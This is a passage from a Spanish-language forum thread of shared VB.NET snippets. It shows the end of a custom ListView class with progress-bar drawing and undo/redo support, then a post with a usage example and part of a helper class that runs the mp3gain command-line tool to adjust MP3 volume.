  262.        Array.Reverse(Indexes)
  263.        For Each Index As Integer In Indexes
  264.            RemoveItem(Me.Items.Item(Index))
  265.        Next
  266.    End Sub
  267.  
  268.    ''' <summary>
  269.    ''' Adds a range of Items to the ListView,
  270.    ''' to monitor when an Item is added to the ListView.
  271.    ''' </summary>
  272.    Public Sub AddItems(ByVal Items As ListViewItem())
  273.        For Each item As ListViewItem In Items
  274.            AddItem(item)
  275.        Next
  276.    End Sub
  277.    Public Sub AddItems(ByVal Items As ListViewItemCollection)
  278.        For Each item As ListViewItem In Items
  279.            AddItem(item)
  280.        Next
  281.    End Sub
  282.  
  283.    ''' <summary>
  284.    ''' Removes a range of Items from the ListView
  285.    ''' to monitor when an Item is removed from the ListView.
  286.    ''' </summary>
  287.    Public Sub RemoveItems(ByVal Items As ListViewItem())
  288.        For Each item As ListViewItem In Items
  289.            RemoveItem(item)
  290.        Next
  291.    End Sub
  292.    Public Sub RemoveItems(ByVal Items As ListViewItemCollection)
  293.        For Each item As ListViewItem In Items
  294.            RemoveItem(item)
  295.        Next
  296.    End Sub
  297.    Public Sub RemoveItems(ByVal Items As SelectedListViewItemCollection)
  298.        For Each item As ListViewItem In Items
  299.            RemoveItem(item)
  300.        Next
  301.    End Sub
  302.  
  303.    Protected Overrides Sub OnDrawColumnHeader(ByVal e As System.Windows.Forms.DrawListViewColumnHeaderEventArgs)
  304.        e.DrawDefault = True
  305.        MyBase.OnDrawColumnHeader(e)
  306.    End Sub
  307.  
  308.    Protected Overrides Sub OnLostFocus(ByVal e As System.EventArgs)
  309.        For Each selectedIndex As Integer In MyBase.SelectedIndices
  310.            MyBase.RedrawItems(selectedIndex, selectedIndex, False)
  311.        Next
  312.        MyBase.OnLostFocus(e)
  313.    End Sub
  314.  
  315.    Protected Overrides Sub OnDrawSubItem(ByVal e As System.Windows.Forms.DrawListViewSubItemEventArgs)
  316.  
  317.        Dim drawAsDefault As Boolean = False
  318.        Dim highlightBounds As Rectangle = Nothing
  319.        Dim highlightBrush As SolidBrush = Nothing
  320.  
  321.        'FIRST DETERMINE THE COLOR
  322.        If e.Item.Selected Then
  323.            If MyBase.Focused Then
  324.                highlightBrush = New SolidBrush(_itemHighlightColor)
  325.            ElseIf HideSelection Then
  326.                drawAsDefault = True
  327.            Else
  328.                highlightBrush = New SolidBrush(_itemNotFocusedHighlighColor)
  329.            End If
  330.        Else
  331.            drawAsDefault = True
  332.        End If
  333.  
  334.        If drawAsDefault Then
  335.            e.DrawBackground()
  336.        Else
  337.            'NEXT DETERMINE THE BOUNDS IN WHICH TO DRAW THE BACKGROUND
  338.            If FullRowSelect Then
  339.                highlightBounds = e.Bounds
  340.            Else
  341.                highlightBounds = e.Item.GetBounds(ItemBoundsPortion.Label)
  342.            End If
  343.  
  344.            'ONLY DRAW HIGHLIGHT IN 1 OF 2 CASES
  345.            'CASE 1 - FULL ROW SELECT (AND DRAWING ANY ITEM)
  346.            'CASE 2 - NOT FULL ROW SELECT (AND DRAWING 1ST ITEM)
  347.            If FullRowSelect Then
  348.                e.Graphics.FillRectangle(highlightBrush, highlightBounds)
  349.            ElseIf e.ColumnIndex = 0 Then
  350.                e.Graphics.FillRectangle(highlightBrush, highlightBounds)
  351.            Else
  352.                e.DrawBackground()
  353.            End If
  354.        End If
  355.  
  356.        e.DrawText()
  357.  
  358.        If _gridLines Then
  359.            e.Graphics.DrawRectangle(New Pen(_gridLineColor), e.Bounds)
  360.        End If
  361.  
  362.  
  363.        If FullRowSelect Then
  364.            e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Entire))
  365.        Else
  366.            e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Label))
  367.        End If
  368.  
  369.        MyBase.OnDrawSubItem(e)
  370.  
  371.    End Sub
  372.  
  373. #End Region
  374.  
  375. #Region " ProgressBar Properties "
  376.  
  377.    ''' <summary>
  378.    ''' Enables the drawing of a ProgressBar
  379.    ''' This property should be "True" to use any of the ProgressBar properties.
  380.    ''' </summary>
  381.    Public Property Enable_ProgressBar As Boolean
  382.        Get
  383.            Return _enable_progressbar
  384.        End Get
  385.        Set(ByVal value As Boolean)
  386.            Me.OwnerDraw = value
  387.            _enable_progressbar = value
  388.        End Set
  389.    End Property
  390.  
  391.    ''' <summary>
  392.    ''' The column index to draw the ProgressBar
  393.    ''' </summary>
  394.    Public Property Progressbar_Column As Integer
  395.        Get
  396.            Return _progressbar_column
  397.        End Get
  398.        Set(ByVal value As Integer)
  399.            _progressbar_column = value
  400.        End Set
  401.    End Property
  402.  
  403.    ''' <summary>
  404.    ''' The ProgressBar progress percentage
  405.    ''' </summary>
  406.    Public Property Percent As Double
  407.        Get
  408.            Return _percent
  409.        End Get
  410.        Set(ByVal value As Double)
  411.            _percent = value
  412.        End Set
  413.    End Property
  414.  
  415.    ''' <summary>
  416.    ''' The decimal factor which should be displayed for the ProgressBar progress percentage
  417.    ''' </summary>
  418.    Public Property Percent_Decimal As Short
  419.        Get
  420.            Return _percent_decimal
  421.        End Get
  422.        Set(ByVal value As Short)
  423.            _percent_decimal = value
  424.        End Set
  425.    End Property
  426.  
  427.    ''' <summary>
  428.    ''' The Font to be used as the ProgressBar Percent text
  429.    ''' </summary>
  430.    Public Property Percent_Font As Font
  431.        Get
  432.            Return _percent_font
  433.        End Get
  434.        Set(ByVal value As Font)
  435.            _percent_font = value
  436.        End Set
  437.    End Property
  438.  
  439.    ''' <summary>
  440.    ''' The additional text to add to the ProgressBar Percent value
  441.    ''' </summary>
  442.    Public Property Percent_Text As String
  443.        Get
  444.            Return _percent_text
  445.        End Get
  446.        Set(ByVal value As String)
  447.            _percent_text = value
  448.        End Set
  449.    End Property
  450.  
  451.    ''' <summary>
  452.    ''' The ForeColor of the ProgressBar Percent Text
  453.    ''' </summary>
  454.    Public Property Percent_Forecolor As Color
  455.        Get
  456.            Return _percent_forecolor.Color
  457.        End Get
  458.        Set(ByVal value As Color)
  459.            _percent_forecolor = New SolidBrush(value)
  460.        End Set
  461.    End Property
  462.  
  463.    ''' <summary>
  464.    ''' The text allignment to use for the ProgressBar
  465.    ''' </summary>
  466.    Public Property Percent_Text_Allignment As StringAlignment
  467.        Get
  468.            Return _percent_stringformat.Alignment
  469.        End Get
  470.        Set(ByVal value As StringAlignment)
  471.            _percent_stringformat.Alignment = value
  472.        End Set
  473.    End Property
  474.  
  475.    ''' <summary>
  476.    ''' The ProgressBar BackColor
  477.    ''' </summary>
  478.    Public Property ProgressBar_BackColor As Color
  479.        Get
  480.            Return _progressBar_backcolor.Color
  481.        End Get
  482.        Set(ByVal value As Color)
  483.            _progressBar_backcolor = New SolidBrush(value)
  484.        End Set
  485.    End Property
  486.  
  487.    ''' <summary>
  488.    ''' The ProgressBar BorderColor
  489.    ''' </summary>
  490.    Public Property ProgressBar_BorderColor As Color
  491.        Get
  492.            Return _progressBar_bordercolor.Color
  493.        End Get
  494.        Set(ByVal value As Color)
  495.            _progressBar_bordercolor = New Pen(value)
  496.        End Set
  497.    End Property
  498.  
  499.    ''' <summary>
  500.    ''' The First ProgressBar Gradient color
  501.    ''' </summary>
  502.    Public Property ProgressBar_FillColor1 As Color
  503.        Get
  504.            Return _progressBar_fillcolor1
  505.        End Get
  506.        Set(ByVal value As Color)
  507.            _progressBar_fillcolor1 = value
  508.        End Set
  509.    End Property
  510.  
  511.    ''' <summary>
  512.    ''' The Last ProgressBar Gradient color
  513.    ''' </summary>
  514.    Public Property ProgressBar_FillColor2 As Color
  515.        Get
  516.            Return _progressBar_fillcolor2
  517.        End Get
  518.        Set(ByVal value As Color)
  519.            _progressBar_fillcolor2 = value
  520.        End Set
  521.    End Property
  522.  
  523. #End Region
  524.  
  525. #Region " ProgressBar EventHandlers "
  526.  
  527.    ' ListView [DrawColumnHeader]
  528.    Public Sub Me_DrawColumnHeader(ByVal sender As Object, ByVal e As DrawListViewColumnHeaderEventArgs) _
  529.    Handles Me.DrawColumnHeader
  530.  
  531.        e.DrawDefault = True ' Draw default ColumnHeader.
  532.  
  533.    End Sub
  534.  
  535.    ' ListView [DrawItem]
  536.    Public Sub Me_DrawItem(ByVal sender As Object, ByVal e As DrawListViewItemEventArgs) _
  537.    Handles Me.DrawItem
  538.  
  539.        e.DrawDefault = False ' Draw default main item.
  540.  
  541.    End Sub
  542.  
  543.    ' ListView [DrawSubItem]
  544.    Public Sub Me_DrawSubItem(ByVal sender As Object, ByVal e As DrawListViewSubItemEventArgs) _
  545.    Handles Me.DrawSubItem
  546.  
  547.        If Not Enable_ProgressBar OrElse Progressbar_Column = Nothing Then
  548.            Exit Sub
  549.        End If
  550.  
  551.        ' Item is highlighted.
  552.        ' If (e.ItemState And ListViewItemStates.Selected) <> 0 Then
  553.        '     e.Graphics.FillRectangle(SystemBrushes.Highlight, e.Bounds)
  554.        ' End If
  555.  
  556.        ' Draw the progressbar.
  557.        If e.ColumnIndex = Progressbar_Column Then
  558.  
  559.            ' Background color of the progressbar.
  560.            e.Graphics.FillRectangle(_progressBar_backcolor, e.Bounds)
  561.  
  562.            ' Gradient to fill the progressbar.
  563.            Dim brGradient As Brush = _
  564.                New System.Drawing.Drawing2D.LinearGradientBrush(New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height), _
  565.                                                                 ProgressBar_FillColor1, ProgressBar_FillColor2, 270, True)
  566.            ' Draw the actual progressbar.
  567.            e.Graphics.FillRectangle(brGradient, _
  568.                                     e.Bounds.X + 1, e.Bounds.Y + 2, _
  569.                                     CInt(((Percent) / 100) * (e.Bounds.Width - 2)), e.Bounds.Height - 3)
  570.  
  571.            ' Draw the percentage number and percent sign.
  572.            e.Graphics.DrawString(Percent.ToString("n" & Percent_Decimal) & Percent_Text, _
  573.                                  Percent_Font, _percent_forecolor, _
  574.                                  CSng(e.Bounds.X + (e.Bounds.Width / 2)), e.Bounds.Y + 3, _
  575.                                  _percent_stringformat)
  576.  
  577.            ' Draw a light gray rectangle/border around the progressbar.
  578.            e.Graphics.DrawRectangle(_progressBar_bordercolor, _
  579.                                     e.Bounds.X, e.Bounds.Y + 1, _
  580.                                     e.Bounds.Width - 1, e.Bounds.Height - 2)
  581.        Else
  582.  
  583.            ' e.DrawDefault = True
  584.  
  585.        End If
  586.  
  587.    End Sub
  588.  
  589. #End Region
  590.  
  591. #Region " Undo/Redo Manager "
  592.  
  593.    ''' <summary>
  594.    ''' Enable or disble the Undo/Redo monitoring.
  595.    ''' </summary>
  596.    Public Property Enable_UndoRedo_Manager As Boolean = False
  597.  
  598.    ' Stacks to store Undo/Redo actions.
  599.    Public Undostack As New Stack(Of ListView_Action)
  600.    Public Redostack As New Stack(Of ListView_Action)
  601.  
  602.    ' Flags to check if it is doing a Undo/Redo operation.
  603.    Private IsDoingUndo As Boolean = False
  604.    Private IsDoingRedo As Boolean = False
  605.  
  606.    ' Delegate to Add an Item for Undo/Redo operations.
  607.    Private Delegate Sub AddDelegate(item As ListViewItem)
  608.  
  609.    ' Delegate to Remove an Item for Undo/Redo operations.
  610.    Private Delegate Sub RemoveDelegate(item As ListViewItem)
  611.  
  612.    ' The Undo/Redo action.
  613.    Private action As ListView_Action = Nothing
  614.  
  615.    ' The operation.
  616.    Public Enum Operation As Short
  617.        Undo = 0
  618.        Redo = 1
  619.    End Enum
  620.  
  621.    ' The method for the Undo/Redo operation.
  622.    Public Enum Method As Short
  623.        Add = 0
  624.        Remove = 1
  625.    End Enum
  626.  
  627.    ''' <summary>
  628.    ''' Creates a Undo/Redo Action.
  629.    ''' </summary>
  630.    Class ListView_Action
  631.  
  632.        ''' <summary>
  633.        ''' Names the Undo/Redo Action.
  634.        ''' </summary>
  635.        Property Name As String
  636.  
  637.        ''' <summary>
  638.        ''' Points to a method to excecute.
  639.        ''' </summary>
  640.        Property Operation As [Delegate]
  641.  
  642.        ''' <summary>
  643.        ''' Method of the Undo/Redo operation.
  644.        ''' </summary>
  645.        Property Method As Method
  646.  
  647.        ''' <summary>
  648.        ''' Data Array for the method to excecute.
  649.        ''' </summary>
  650.        Property Data As ListViewItem
  651.  
  652.    End Class
  653.  
  654.    ''' <summary>
  655.    ''' This event is raised after an Undo/Redo action is performed.
  656.    ''' </summary>
  657.    Public Event UndoRedo_IsPerformed As EventHandler(Of UndoneRedoneEventArgs)
  658.    Public Class UndoneRedoneEventArgs : Inherits EventArgs
  659.        Property Operation As Operation
  660.        Property Method As Method
  661.        Property Item As ListViewItem
  662.        Property UndoStack As Stack(Of ListView_Action)
  663.        Property RedoStack As Stack(Of ListView_Action)
  664.    End Class
  665.  
  666.    ''' <summary>
  667.    ''' This event is raised when Undo/Redo Stack size changed.
  668.    ''' </summary>
  669.    Public Event UndoRedo_StackSizeChanged As EventHandler(Of StackSizeChangedEventArgs)
  670.    Public Class StackSizeChangedEventArgs : Inherits EventArgs
  671.        Property UndoStack As Stack(Of ListView_Action)
  672.        Property RedoStack As Stack(Of ListView_Action)
  673.        Property UndoStackIsEmpty As Boolean
  674.        Property RedoStackIsEmpty As Boolean
  675.    End Class
  676.  
  677.    ''' <summary>
  678.    ''' Undo the last action.
  679.    ''' </summary>
  680.    Public Sub Undo()
  681.  
  682.        If Me.Undostack.Count = 0 Then Exit Sub ' Nothing to Undo.
  683.  
  684.        Me.IsDoingUndo = True
  685.        Me.action = Me.Undostack.Pop ' Get the Action from the Stack and remove it.
  686.        Me.action.Operation.DynamicInvoke(Me.action.Data) ' Invoke the undo Action.
  687.        Me.IsDoingUndo = False
  688.  
  689.        Raise_UndoRedo_IsPerformed(Operation.Undo, Me.action.Method, Me.action.Data)
  690.  
  691.    End Sub
  692.  
  693.    ''' <summary>
  694.    ''' Redo the last action.
  695.    ''' </summary>
  696.    Public Sub Redo()
  697.  
  698.        If Me.Redostack.Count = 0 Then Exit Sub ' Nothing to Redo.
  699.  
  700.        Me.IsDoingRedo = True
  701.        Me.action = Me.Redostack.Pop() ' Get the Action from the Stack and remove it.
  702.        Me.action.Operation.DynamicInvoke(Me.action.Data) ' Invoke the redo Action.
  703.        Me.IsDoingRedo = False
  704.  
  705.        Raise_UndoRedo_IsPerformed(Operation.Redo, Me.action.Method, Me.action.Data)
  706.  
  707.    End Sub
  708.  
  709.    ' Reverses an Undo/Redo action
  710.    Private Function GetReverseAction(ByVal e As UndoneRedoneEventArgs) As ListView_Action
  711.  
  712.        Me.action = New ListView_Action
  713.  
  714.        Me.action.Name = e.Item.Text
  715.        Me.action.Data = e.Item
  716.  
  717.        Me.action.Operation = If(e.Method = Method.Add, _
  718.                        New RemoveDelegate(AddressOf Me.RemoveItem), _
  719.                        New AddDelegate(AddressOf Me.AddItem))
  720.  
  721.        Me.action.Method = If(e.Method = Method.Add, _
  722.                     Method.Remove, _
  723.                     Method.Add)
  724.  
  725.        Return Me.action
  726.  
  727.    End Function
  728.  
  729.    ' Raises the "UndoRedo_IsPerformed" Event
  730.    Private Sub Raise_UndoRedo_IsPerformed(ByVal Operation As Operation, _
  731.                                           ByVal Method As Method, _
  732.                                           ByVal Item As ListViewItem)
  733.  
  734.        RaiseEvent UndoRedo_IsPerformed(Me, New UndoneRedoneEventArgs _
  735.                   With {.Item = Item, _
  736.                         .Method = Method, _
  737.                         .Operation = Operation, _
  738.                         .UndoStack = Me.Undostack, _
  739.                         .RedoStack = Me.Redostack})
  740.  
  741.        Raise_UndoRedo_StackSizeChanged()
  742.  
  743.    End Sub
  744.  
  745.    ' Raises the "UndoRedo_StackSizeChanged" Event
  746.    Private Sub Raise_UndoRedo_StackSizeChanged()
  747.  
  748.        RaiseEvent UndoRedo_StackSizeChanged(Me, New StackSizeChangedEventArgs _
  749.                   With {.UndoStack = Me.Undostack, _
  750.                         .RedoStack = Me.Redostack, _
  751.                         .UndoStackIsEmpty = Me.Undostack.Count = 0, _
  752.                         .RedoStackIsEmpty = Me.Redostack.Count = 0})
  753.  
  754.    End Sub
  755.  
  756.    ' This handles when an Undo or Redo operation is performed.
  757.    Private Sub UndoneRedone(ByVal sender As Object, ByVal e As UndoneRedoneEventArgs) _
  758.    Handles Me.UndoRedo_IsPerformed
  759.  
  760.        Select Case e.Operation
  761.  
  762.            Case Operation.Undo
  763.                ' Create a Redo Action for the undone action.
  764.                Me.Redostack.Push(GetReverseAction(e))
  765.  
  766.            Case Operation.Redo
  767.                ' Create a Undo Action for the redone action.
  768.                Me.Undostack.Push(GetReverseAction(e))
  769.  
  770.        End Select
  771.  
  772.    End Sub
  773.  
  774.    ' Monitors when an Item is added to create an Undo Operation.
  775.    Private Sub OnItemAdded(sender As Object, e As ItemAddedEventArgs) _
  776.    Handles Me.ItemAdded
  777.  
  778.        If Me.Enable_UndoRedo_Manager _
  779.            AndAlso (Not Me.IsDoingUndo And Not Me.IsDoingRedo) Then
  780.  
  781.            Me.Redostack.Clear()
  782.  
  783.            ' // Crate an Undo Action
  784.            Me.action = New ListView_Action
  785.            Me.action.Name = e.Item.Text
  786.            Me.action.Operation = New RemoveDelegate(AddressOf Me.RemoveItem)
  787.            Me.action.Data = e.Item
  788.            Me.action.Method = Method.Remove
  789.  
  790.            Me.Undostack.Push(action)
  791.  
  792.            Raise_UndoRedo_StackSizeChanged()
  793.  
  794.        End If
  795.  
  796.    End Sub
  797.  
  798.    ' Monitors when an Item is removed to create an Undo Operation.
  799.    Private Sub OnItemRemoved(sender As Object, e As ItemRemovedEventArgs) _
  800.    Handles Me.ItemRemoved
  801.  
  802.        If Me.Enable_UndoRedo_Manager _
  803.            AndAlso (Not Me.IsDoingUndo And Not Me.IsDoingRedo) Then
  804.  
  805.            Me.Redostack.Clear()
  806.  
  807.            ' // Crate an Undo Action
  808.            Me.action = New ListView_Action
  809.            Me.action.Name = e.Item.Text
  810.            Me.action.Operation = New AddDelegate(AddressOf Me.AddItem)
  811.            Me.action.Data = e.Item
  812.            Me.action.Method = Method.Add
  813.  
  814.            Me.Undostack.Push(action)
  815.  
  816.            Raise_UndoRedo_StackSizeChanged()
  817.  
  818.        End If
  819.  
  820.    End Sub
  821.  
  822. #End Region
  823.  
  824. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Noviembre 2013, 01:34 am
Una versión mejorada de mi ayudante para la aplicación mp3gain... mejoré lo que pude el código y le añadi algunos eventos esenciales...

Un ejemplo de uso:

Código
  1.    Public Class Form1
  2.  
  3.        Private WithEvents _mp3gain As New mp3gain _
  4.                With {.mp3gain_location = "C:\windows\system32\mp3gain.exe",
  5.                      .CheckFileExist = True}
  6.  
  7.        Private Sub Test() Handles MyBase.Shown
  8.  
  9.            ' Checks if mp3gain executable is avaliable.
  10.            MsgBox(_mp3gain.Is_Avaliable())
  11.  
  12.            ' Checks if file contains APEv2 mp3gain tag
  13.            MsgBox(_mp3gain.File_Has_MP3Gain_Tag("C:\File.mp3"))
  14.  
  15.            ' Set the global volume Gain of file to "89" db (In a scale of "0-100"),
  16.            ' and preserve the datetime of file.
  17.            _mp3gain.Set_Gain("C:\File.mp3", 89, True)
  18.  
  19.            ' Apply a volume change of +5 db,
  20.            ' in the curent global volume gain of file.
  21.            _mp3gain.Apply_Gain("C:\File.mp3", +5)
  22.  
  23.            ' Apply a volume change of -5 db,
  24.            ' in the curent global volume gain of file.
  25.            _mp3gain.Apply_Gain("C:\File.mp3", -5)
  26.  
  27.            ' Apply a volume change of +10 db,
  28.            ' in the curent volume gain of the Left channel of an Stereo file.
  29.            _mp3gain.Apply_Channel_Gain("C:\File.mp3", mp3gain.Channel.Left, +10)
  30.  
  31.            ' Apply a volume change of -10 db,
  32.            ' in the curent volume gain of the Right channel of an Stereo file.
  33.            _mp3gain.Apply_Channel_Gain("C:\File.mp3", mp3gain.Channel.Right, -10)
  34.  
  35.            ' Undos all volume gain changes made in file.
  36.            _mp3gain.Undo_Gain("C:\File.mp3")
  37.  
  38.        End Sub
  39.  
  40.        ' mp3gain [Started]
  41.        Private Sub mp3gain_Started(ByVal sender As Process, ByVal e As mp3gain.StartedEventArgs) _
  42.        Handles _mp3gain.Started
  43.  
  44.            ProgressBar1.Value = ProgressBar1.Minimum
  45.  
  46.            Dim sb As New System.Text.StringBuilder
  47.  
  48.            sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
  49.            sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  50.            sb.AppendLine(String.Format("mp3gain process PID is: ""{0}""", CStr(sender.Id)))
  51.  
  52.            MessageBox.Show(sb.ToString, "mp3gain", MessageBoxButtons.OK, MessageBoxIcon.Information)
  53.  
  54.        End Sub
  55.  
  56.        ' mp3gain [Exited]
  57.        Private Sub mp3gain_Exited(ByVal sender As Process, ByVal e As mp3gain.ExitedEventArgs) _
  58.        Handles _mp3gain.Exited
  59.  
  60.            Dim sb As New System.Text.StringBuilder
  61.  
  62.            If e.Operation <> mp3gain.Operation.Check_Tag Then
  63.  
  64.                sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
  65.                sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  66.                sb.AppendLine(String.Format("mp3gain process PID is: {0}", CStr(sender.Id)))
  67.  
  68.                If Not String.IsNullOrEmpty(e.InfoMessage) Then
  69.                    sb.AppendLine(String.Format("Operation Information: {0}", e.InfoMessage))
  70.                End If
  71.  
  72.                If Not String.IsNullOrEmpty(e.ErrorMessage) Then
  73.                    sb.AppendLine(String.Format("Error Information: {0}", e.ErrorMessage))
  74.                End If
  75.  
  76.                If e.db <> 0 Then
  77.                    sb.AppendLine(String.Format("Volume gain change: {0}", CStr(e.db)))
  78.                End If
  79.  
  80.                MessageBox.Show(sb.ToString, "mp3gain", MessageBoxButtons.OK, MessageBoxIcon.Information)
  81.  
  82.            End If
  83.  
  84.        End Sub
  85.  
  86.        ' mp3gain [Progress]
  87.        Sub mp3gain_Progress(sender As Process, e As mp3gain.ProgressEventArgs) _
  88.        Handles _mp3gain.Progress
  89.  
  90.            ProgressBar1.Value = e.Percent
  91.  
  92.        End Sub
  93.  
  94.    End Class

El ayudante:

Código:
' [ mp3gain Helper ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "mp3gain.exe" into the project.

Código
  1. #region " mp3gain Helper "
  2.  
  3. Public Class mp3gain : Implements IDisposable
  4.  
  5. #Region " CommandLine parametter legend "
  6.  
  7.    ' /c   - Ignore clipping warning when applying gain.
  8.    ' /d   - Set global gain.
  9.    ' /e   - Skip Album analysis, even if multiple files listed.
  10.    ' /g   - apply gain
  11.    ' /p   - Preserve original file timestamp.
  12.    ' /r   - apply Track gain automatically (all files set to equal loudness)
  13.    ' /t   - Writes modified data to temp file, then deletes original instead of modifying bytes in original file.
  14.    ' /u   - Undo changes made (based on stored APEv2 mp3gain tag info).
  15.    ' /s c - Check stored APEv2 mp3gain tag info.
  16.  
  17. #End Region
  18.  
  19. #Region " Variables, Properties, Enumerations "
  20.  
  21.    ''' <summary>
  22.    ''' Gets or sets the mp3gain.exe executable path.
  23.    ''' </summary>
  24.    Public Property mp3gain_location As String = ".\mp3gain.exe"
  25.  
  26.    ''' <summary>
  27.    ''' Indicates if should check that the file exist before realize an operation.
  28.    ''' If True, an exception would be launched if file does not exist.
  29.    ''' </summary>
  30.    Public Property CheckFileExist As Boolean = False
  31.  
  32.    ''' <summary>
  33.    ''' Sets a Flag to indicate if file has APEv2 mp3gain tag or not.
  34.    ''' </summary>
  35.    Private HasTag As Boolean = False
  36.  
  37.    ''' <summary>
  38.    ''' Stores the StandardOutput.
  39.    ''' </summary>
  40.    Private Output As String() = Nothing
  41.  
  42.    ''' <summary>
  43.    ''' Stores an information message of the realized operation (if any).
  44.    ''' </summary>
  45.    Private InfoMessage As String = String.Empty
  46.  
  47.    ''' <summary>
  48.    ''' Stores an error message of the realized operation (if any).
  49.    ''' </summary>
  50.    Private ErrorMessage As String = String.Empty
  51.  
  52.    ''' <summary>
  53.    ''' Stores the volume gain level change applied to file (if any).
  54.    ''' </summary>
  55.    Private db As Integer = 0
  56.  
  57.    ''' <summary>
  58.    ''' Gets some information about the file.
  59.    ''' </summary>
  60.    Private db_RegEx As New System.Text.RegularExpressions.Regex("Applying.+change of (.*) to",
  61.                            System.Text.RegularExpressions.RegexOptions.None)
  62.  
  63.    ''' <summary>
  64.    ''' Process to realize an operation,
  65.    ''' for files that already contains APEv2 mp3gain tag.
  66.    ''' Also is used to realize a single TagCheck operation.
  67.    ''' </summary>
  68.    Private Process_For_Tag As Process =
  69.        New Process With {.StartInfo =
  70.            New ProcessStartInfo With {
  71.                .CreateNoWindow = True,
  72.                .UseShellExecute = False,
  73.                .RedirectStandardError = False,
  74.                .RedirectStandardOutput = True
  75.           }
  76.        }
  77.  
  78.    ''' <summary>
  79.    ''' Process to realize an operation,
  80.    ''' for files that does not contains mp3gain Tag.
  81.    ''' </summary>
  82.    Private Process_For_NonTag As Process =
  83.        New Process With {.StartInfo =
  84.            New ProcessStartInfo With {
  85.                .CreateNoWindow = True,
  86.                .UseShellExecute = False,
  87.                .RedirectStandardError = True,
  88.                .RedirectStandardOutput = True
  89.           }
  90.        }
  91.  
  92.    ''' <summary>
  93.    ''' Stores the StartedEventArgs Arguments.
  94.    ''' </summary>
  95.    Private StartedArgs As New StartedEventArgs
  96.  
  97.    ''' <summary>
  98.    ''' Stores the ExitedEventArgs Arguments.
  99.    ''' </summary>
  100.    Private ExitedArgs As New ExitedEventArgs
  101.  
  102.    ''' <summary>
  103.    ''' Stores the ProgressEventArgs Arguments.
  104.    ''' </summary>
  105.    Private ProgressArgs As New ProgressEventArgs
  106.  
  107.    ''' <summary>
  108.    ''' File Stereo Channel.
  109.    ''' </summary>
  110.    Public Enum Channel As Short
  111.        Left = 0  ' /l 0
  112.        Right = 1 ' /l 1
  113.    End Enum
  114.  
  115.    ''' <summary>
  116.    ''' MP3Gain Type Of Operation.
  117.    ''' </summary>
  118.    Public Enum Operation
  119.        Check_Tag = 0
  120.        Apply_Gain = 1
  121.        Apply_Channel_Gain = 2
  122.        Set_Gain = 3
  123.        Undo_Gain = 4
  124.    End Enum
  125.  
  126. #End Region
  127.  
  128. #Region " Events "
  129.  
  130.    ''' <summary>
  131.    ''' Event raised when the process has started.
  132.    ''' </summary>
  133.    Public Event Started As EventHandler(Of StartedEventArgs)
  134.    Public Class StartedEventArgs : Inherits EventArgs
  135.        ''' <summary>
  136.        ''' Gets the file that was passed as argument to the process.
  137.        ''' </summary>
  138.        Public Property File As String
  139.        ''' <summary>
  140.        ''' Gets the type of operation to realize.
  141.        ''' </summary>
  142.        Public Property Operation As Operation
  143.    End Class
  144.  
  145.    ''' <summary>
  146.    ''' Event raised when the process has exited.
  147.    ''' </summary>
  148.    Public Event Exited As EventHandler(Of ExitedEventArgs)
  149.    Public Class ExitedEventArgs : Inherits EventArgs
  150.        ''' <summary>
  151.        ''' Gets the file that was passed as argument to the process.
  152.        ''' </summary>
  153.        Public Property File As String
  154.        ''' <summary>
  155.        ''' Gets the type of operation to realize.
  156.        ''' </summary>
  157.        Public Property Operation As Operation
  158.        ''' <summary>
  159.        ''' Gets the information message of the realized operation (if any).
  160.        ''' </summary>
  161.        Public Property InfoMessage As String
  162.        ''' <summary>
  163.        ''' Gets the error message of the realized operation (if any).
  164.        ''' </summary>
  165.        Public Property ErrorMessage As String
  166.        ''' <summary>
  167.        ''' Gets the volume gain level change applied to file (if any).
  168.        ''' </summary>
  169.        Public Property db As Integer
  170.    End Class
  171.  
  172.    ''' <summary>
  173.    ''' Event raised when the process progress changes.
  174.    ''' </summary>
  175.    Public Event Progress As EventHandler(Of ProgressEventArgs)
  176.    Public Class ProgressEventArgs : Inherits EventArgs
  177.        ''' <summary>
  178.        ''' Gets the process operation percent done.
  179.        ''' </summary>
  180.        Public Property Percent As Integer
  181.    End Class
  182.  
  183. #End Region
  184.  
  185. #Region " MP3Gain Procedures "
  186.  
  187.    ''' <summary>
  188.    ''' Checks if mp3gain.exe process is avaliable.
  189.    ''' </summary>
  190.    Public Function Is_Avaliable() As Boolean
  191.        Return IO.File.Exists(Me.mp3gain_location)
  192.    End Function
  193.  
  194.    ''' <summary>
  195.    ''' Checks if APEv2 mp3gain tag exists in file.
  196.    ''' </summary>
  197.    Public Function File_Has_MP3Gain_Tag(ByVal MP3_File As String) As Boolean
  198.  
  199.        Run_MP3Gain(MP3_File,
  200.                    Operation.Check_Tag,
  201.                    String.Format("/s c ""{0}""", MP3_File),
  202.                    True)
  203.  
  204.        Return HasTag
  205.  
  206.    End Function
  207.  
  208.    ''' <summary>
  209.    ''' Set the global volume gain of file.
  210.    ''' </summary>
  211.    Public Sub Set_Gain(ByVal MP3_File As String,
  212.                        ByVal Gain As Integer,
  213.                        Optional ByVal Preserve_Datestamp As Boolean = True)
  214.  
  215.        File_Has_MP3Gain_Tag(MP3_File)
  216.  
  217.        Run_MP3Gain(MP3_File,
  218.                    Operation.Set_Gain,
  219.                    String.Format("/c /e /r /t {1} /d {2} ""{0}""",
  220.                                  MP3_File,
  221.                                  If(Preserve_Datestamp, "/p", ""),
  222.                                  If(Gain < 0, Gain + 89.0, Gain - 89.0)),
  223.                    False)
  224.  
  225.    End Sub
  226.  
  227.    ''' <summary>
  228.    ''' Apply a volume gain change to file.
  229.    ''' </summary>
  230.    Public Sub Apply_Gain(ByVal MP3_File As String,
  231.                          ByVal Gain As Integer,
  232.                          Optional ByVal Preserve_Datestamp As Boolean = True)
  233.  
  234.        File_Has_MP3Gain_Tag(MP3_File)
  235.  
  236.        Run_MP3Gain(MP3_File,
  237.                    Operation.Apply_Gain,
  238.                    String.Format("/c /e /r /t {1} /g {2} ""{0}""",
  239.                                  MP3_File,
  240.                                  If(Preserve_Datestamp, "/p", ""),
  241.                                  Gain),
  242.                    False)
  243.  
  244.    End Sub
